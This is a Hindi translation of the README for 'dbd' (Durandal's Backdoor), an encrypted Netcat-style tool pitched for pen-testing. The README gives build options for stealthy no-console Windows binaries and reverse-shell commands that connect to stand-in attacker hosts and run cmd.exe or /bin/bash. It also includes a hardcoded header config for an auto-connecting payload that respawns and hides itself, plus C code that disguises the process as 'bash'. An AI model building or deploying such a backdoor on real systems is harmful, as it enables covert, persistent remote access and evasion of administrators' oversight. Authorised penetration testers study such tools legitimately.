
Durandal का बैकडोर
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd GNU GPL के अंतर्गत वितरित किया जाता है #Mipsbe बाइनरी Darkerego द्वारा जोड़ी गई [https://github.com/darkerego] [(mailto:[email protected])]
###सारांश
dbd एक Netcat-क्लोन है, जिसे पोर्टेबल होने और मजबूत एन्क्रिप्शन प्रदान करने के लिए डिज़ाइन किया गया है। यह यूनिक्स-जैसे ऑपरेटिंग सिस्टम और Microsoft Win32 पर चलता है। dbd में AES-CBC-128 + HMAC-SHA1 एन्क्रिप्शन (Christophe Devine द्वारा), प्रोग्राम निष्पादन (-e विकल्प), स्रोत पोर्ट चुनना, देरी के साथ निरंतर पुनः-कनेक्शन, और कुछ अन्य बेहतरीन विशेषताएँ शामिल हैं। dbd केवल TCP/IP संचार का समर्थन करता है। स्रोत कोड और बाइनरी GNU General Public License के अंतर्गत वितरित किए जाते हैं।
###संकलन
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Unix-जैसे ऑपरेटिंग सिस्टम के अंतर्गत dbd को संकलित करने के लिए आपको gcc और प्रासंगिक विकास उपकरणों की आवश्यकता है। Linux, FreeBSD, NetBSD, OpenBSD (और संभवतः अन्य) के लिए, टाइप करें:
$ make unix
SunOS/Solaris के लिए, टाइप करें:
$ make sunos
Microsoft Windows (NT/2K/XP/2K3) के अंतर्गत dbd को संकलित करने के लिए आपको MinGW+MSYS, या पूर्ण विकास समर्थन वाला Cygwin (Cygwin का MinGW gcc) चाहिए। Cygwin के अंतर्गत एक नेटिव Win32 dbd कंसोल एप्लिकेशन संकलित करने के लिए, टाइप करें:
$ make win32
या, MSYS के अंतर्गत:
$ make mingw
Cygwin के अंतर्गत एक नो-कंसोल ("WinMain") एप्लिकेशन संकलित करने के लिए, टाइप करें:
$ make win32bg
या, MSYS के अंतर्गत:
$ make mingwbg
Cygwin-विशिष्ट कंसोल एप्लिकेशन संकलित करने के लिए, टाइप करें:
$make cygwin
आप dbd का डिफ़ॉल्ट व्यवहार बदलना चाह सकते हैं। सबसे महत्वपूर्ण चीजों में से एक है डिफ़ॉल्ट साझा रहस्य (shared secret) को अपने स्वयं के पास-वाक्यांश में बदलना। dbd.h को संपादित करें और अपनी पसंद के अनुसार बदलें। उदाहरण के लिए, आप एक होस्ट + पोर्ट को हार्डकोड करना चाह सकते हैं, यदि dbd बिना विकल्पों के शुरू किया जाता है तो उससे कनेक्ट करने के लिए। dbd.h में पूर्ण उदाहरण प्रदान किए गए हैं।
###नमूना उपयोग
थोड़ी कल्पना के साथ, dbd का उपयोग कई चीजों के लिए किया जा सकता है:
दो नेटवर्कों के बीच फ़ाइलों को सुरक्षित रूप से स्थानांतरित करने के लिए dbd का उपयोग करें:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
या win32 से:
C:\somedir>type input.fil | dbd -k secret snafu 12345
dbd को एक सरल (लेकिन सुरक्षित) चैट के रूप में उपयोग करें:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
dbd को पेन-टेस्ट बैकडोर के रूप में उपयोग करें:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
या Unix-जैसे OS के अंतर्गत:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###हार्ड कोडिंग विकल्प
कमांड लाइन विकल्पों का उपयोग करने के अतिरिक्त, आप dbd.h में #defines का उपयोग करके चरों को हार्डकोड कर सकते हैं। ऐसा करने के लिए, आप जिन चरों का उपयोग करना चाहते हैं उन्हें नामित स्थिरांक के रूप में सेट करें और सामान्य रूप से संकलित करें। उदाहरण के लिए, यदि आप एक dbd निष्पादन योग्य को हार्डकोड करना चाहते हैं जो पोर्ट 995 पर "evil.nationalbankofuganda.com" से वापस कनेक्ट होता है, और "/bin/bash" निष्पादित करता है, तो आप चला सकते हैं:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
या हार्ड-कोडेड #defines का उपयोग करके, आप dbd.h को संपादित कर सकते हैं:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
आप अपने कनेक्शन को बनाए रखने में मदद के लिए respawn और stealth विकल्प भी सेट कर सकते हैं:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
यह कनेक्शन को daemonize ("melt" मैलवेयर शब्दावली में) करने, STDOUT पर कभी आउटपुट न भेजने, और यदि यह कभी लिसनर से डिस्कनेक्ट हो जाए तो हर 15 मिनट में कनेक्शन को पुनः स्थापित करने का प्रयास करने के लिए सेट करेगा।
###रोमुलन क्लोकिंग तकनीक
अब हम मज़ेदार चीजों की ओर बढ़ रहे हैं। एक बार जब आप अपने बैकडोर में विकल्पों को हार्डकोड करने में माहिर हो जाते हैं, तो आप उपयोग कर सकते हैं जो संभवतः हमारे पास सबसे मज़ेदार नामित स्थिरांक है: CLOAK। ऐसा करने के लिए, बस मान सेट करें:
#define CLOAK 1
नोट: यह वर्तमान में केवल *nix संकलन पर काम करता है। अंततः मैं Win32 प्रक्रिया माइग्रेशन/हुकिंग जोड़ने की योजना बना रहा हूँ ताकि उन लक्ष्यों को भी कुछ रोमुलन प्रेम मिल सके।
*nix वातावरण के लिए, यह विकल्प argv[0] को साफ करता है और इसे स्ट्रिंग "bash\0" से बदल देता है। यह अन्य सभी argv[] को भी साफ करता है (यदि ps "bash -e /bin/bash someremotehost.com 443" लौटाए तो बेवकूफी लगेगी, है ना?) मुझे उम्मीद है कि यह कहने की आवश्यकता नहीं है कि आप इस विकल्प का उपयोग तब तक नहीं कर सकते जब तक आप अपने चरों को DBD.H में हार्डकोड नहीं कर रहे हैं। साथ ही, यदि आप इसे अपने सिस्टम पर परीक्षण कर रहे हैं, तो मारने के लिए सही pid चुनना मज़ेदार होगा। ;)
इस स्क्रबर का उपयोग उस किसी भी चीज़ में करने के लिए स्वतंत्र महसूस करें जिस पर आप काम कर रहे हैं:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###चेतावनी
कैश किए गए इनपुट (कमांड या समान वाली फ़ाइल) को सुनने वाले "dbd -e" सत्र में न डालें। "dbd -e" निष्पादित किए जा रहे प्रोग्राम और dbd के बीच डेटा पास करने के लिए पाइप का उपयोग कर रहा है। पाइप का उपयोग (सादे पास-थ्रू डुप्लिकेट फ़ाइल डिस्क्रिप्टर के बजाय) पाइप और सॉकेट के बीच एन्क्रिप्शन के कारण किया जाता है। पाइपों में से एक के लेखन सिरे को पूरी प्रक्रिया को अवरुद्ध करने से रोकने के लिए, मैंने इसे एक नॉन-ब्लॉकिंग डिस्क्रिप्टर बना दिया है। एक बार में बहुत अधिक इनपुट -e प्रोग्राम में पास करने पर, इसके छोटा (कटा हुआ) होने की संभावना है, क्योंकि पाइप बफर (OS में) सभी डेटा को धारण नहीं कर सकता है। यह समस्या उदाहरण के लिए dbd को मल्टी-थ्रेडेड बनाकर हल की जा सकती है, लेकिन संगतता कारणों से मैं इसे यथासंभव लंबे समय तक टालूँगा।
##क्रॉस-संकलन
चूँकि dbd को अन्य उपकरणों/फ्रेमवर्क्स के साथ अंतर-संचालित (interoperate) करने के लिए डिज़ाइन किया गया था, make अब उन Linux सिस्टमों पर win32 क्रॉस-संकलन की अनुमति देता है जिनमें mingw32-gcc टूलचेन है। ये विकल्प चुने गए बिल्ड के बाद "-cross" जोड़ने के साथ अपने Windows-नेटिव समकक्ष के लगभग समान हैं। उदाहरण:
$ make mingw-cross
Linux सिस्टम पर वही काम करेगा जो
$ make mingw
उसके ऊपर mingw/msys स्थापित win32 सिस्टम पर करेगा।
अभी सभी क्रॉस-संकलन विकल्प Kali Linux को ध्यान में रखकर बनाए गए हैं, लेकिन थोड़े प्यार के साथ किसी भी *nix पर काम करने चाहिए। यदि आपके पास mingw32-gcc स्थापित है और make बिल्ड नहीं करेगा, तो Makefile के शीर्ष पर WCC चर संपादित करें और अपने mingw32-gcc बाइनरी का पथ डालें।
dbd-1.5 के अनुसार, आप टूलचेन उपसर्ग को CROSS_COMPILE के रूप में सेट करके dbd को संकलित करने के लिए किसी भी क्रॉसबिल्ड टूलचेन का उपयोग कर सकते हैं। उदाहरण के लिए, arm संस्करण बनाना उतना ही आसान है जितना:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##उन्नत जादूगरी
यदि आप dbd को एक शोषण (exploitation) फ्रेमवर्क के साथ एकीकृत करना चाहते हैं, तो आप एक मॉड्यूल लिख सकते हैं जो आपके लक्ष्य के लिए विशिष्ट कॉन्फ़िगरेशन विकल्पों के साथ एक कस्टम dbd.h उत्पन्न करता है। इस फ़ाइल में स्पष्ट रूप से #defined नहीं की गई कोई भी चीज़ अभी भी डिफ़ॉल्ट का उपयोग करेगी, इसलिए आपको हेडर में सब कुछ लिखने की आवश्यकता नहीं है। उदाहरण: dbd.h फ़ाइल हटाएँ (rm dbd.h) और इसे निम्न से बदलें:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
फिर ऑटो-कनेक्टिंग पेलोड बनाने के लिए make कॉल करें, जिसमें क्लोकिंग और रिस्पॉनिंग हो, जो evil.nationalbankofuganda.com पर विकल्पों के साथ चल रहे एक सुनने वाले dbd एजेंट से वापस कनेक्ट होता है:
$ dbd -l -p 995 -k customcrypto
एक और उन्नत तरकीब dietlibc या uClibc का उपयोग करके dbd को संकलित करना है। dietlibc linux dbd एजेंट को संकलित करने के लिए, उपयोग करें:
$ make unix CROSS_COMPILE="diet -Os "
स्ट्रिंग में s के बाद के स्थान पर ध्यान दें। यह Makefile को मानक CFLAGS और LDFLAGS के साथ gcc जोड़ने की अनुमति देता है ताकि आपका एजेंट ठीक से बिल्ड हो। dietlibc का उपयोग करने का लाभ यह है कि यह लक्ष्य वातावरण के लिए एक बहुत छोटा 100% स्थिर निष्पादन योग्य उत्पन्न करता है (पैकिंग से पहले एक linux dbd एजेंट के लिए लगभग 70K, मानक glibc और gcc -static के साथ 700K+ के विपरीत)। uClibc का उपयोग करना और भी आसान है, क्योंकि आप केवल CROSS_COMPILE के अंतर्गत अपने टूलचेन के लिए क्रॉसबिल्ड उपसर्ग सेट करते हैं।
##लाइसेंस dbd कॉपीराइट (C) 2013 Kyle Barnthouse [email protected]
यह प्रोग्राम मुफ्त सॉफ्टवेयर है; आप इसे Free Software Foundation द्वारा प्रकाशित GNU General Public License की शर्तों के अंतर्गत पुनर्वितरित और/या संशोधित कर सकते हैं; लाइसेंस का संस्करण 2, या (आपके विकल्प पर) कोई भी बाद का संस्करण।
यह प्रोग्राम उपयोगी होने की आशा में वितरित किया जाता है, लेकिन बिना किसी वारंटी के; व्यापारिकता (MERCHANTABILITY) या किसी विशेष उद्देश्य के लिए उपयुक्तता (FITNESS FOR A PARTICULAR PURPOSE) की निहित वारंटी के बिना भी। अधिक विवरण के लिए GNU General Public License देखें।
आपको इस प्रोग्राम के साथ GNU General Public License की एक प्रति प्राप्त होनी चाहिए थी; यदि नहीं, तो Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA को लिखें।
dbd का AES-CBC-128 + HMAC-SHA1 कार्यान्वयन कॉपीराइट (C) Christophe Devine [email protected] है और GNU General Public License (GPL) के अंतर्गत वितरित किया जाता है।
कुछ कोड (doexec_win32.h के लिए) Netcat के Win32 पोर्ट (C) Weld Pond और hobbit से doexec.c से व्युत्पन्न किया गया है। doexec.c के कुछ भाग कॉपीराइट (C) 1994 Nathaniel W. Mishkin हैं (doexec.c कोड मूल रूप से rlogind.exe से व्युत्पन्न किया गया था)।
Netcat का मूल संस्करण hobbit [email protected] द्वारा लिखा गया था। NT संस्करण Weld Pond [email protected] द्वारा किया गया था।
(C) Kyle Barnthouse [email protected]
सुरक्षा सलाहकार
gitbrew.org
Hephaestus Security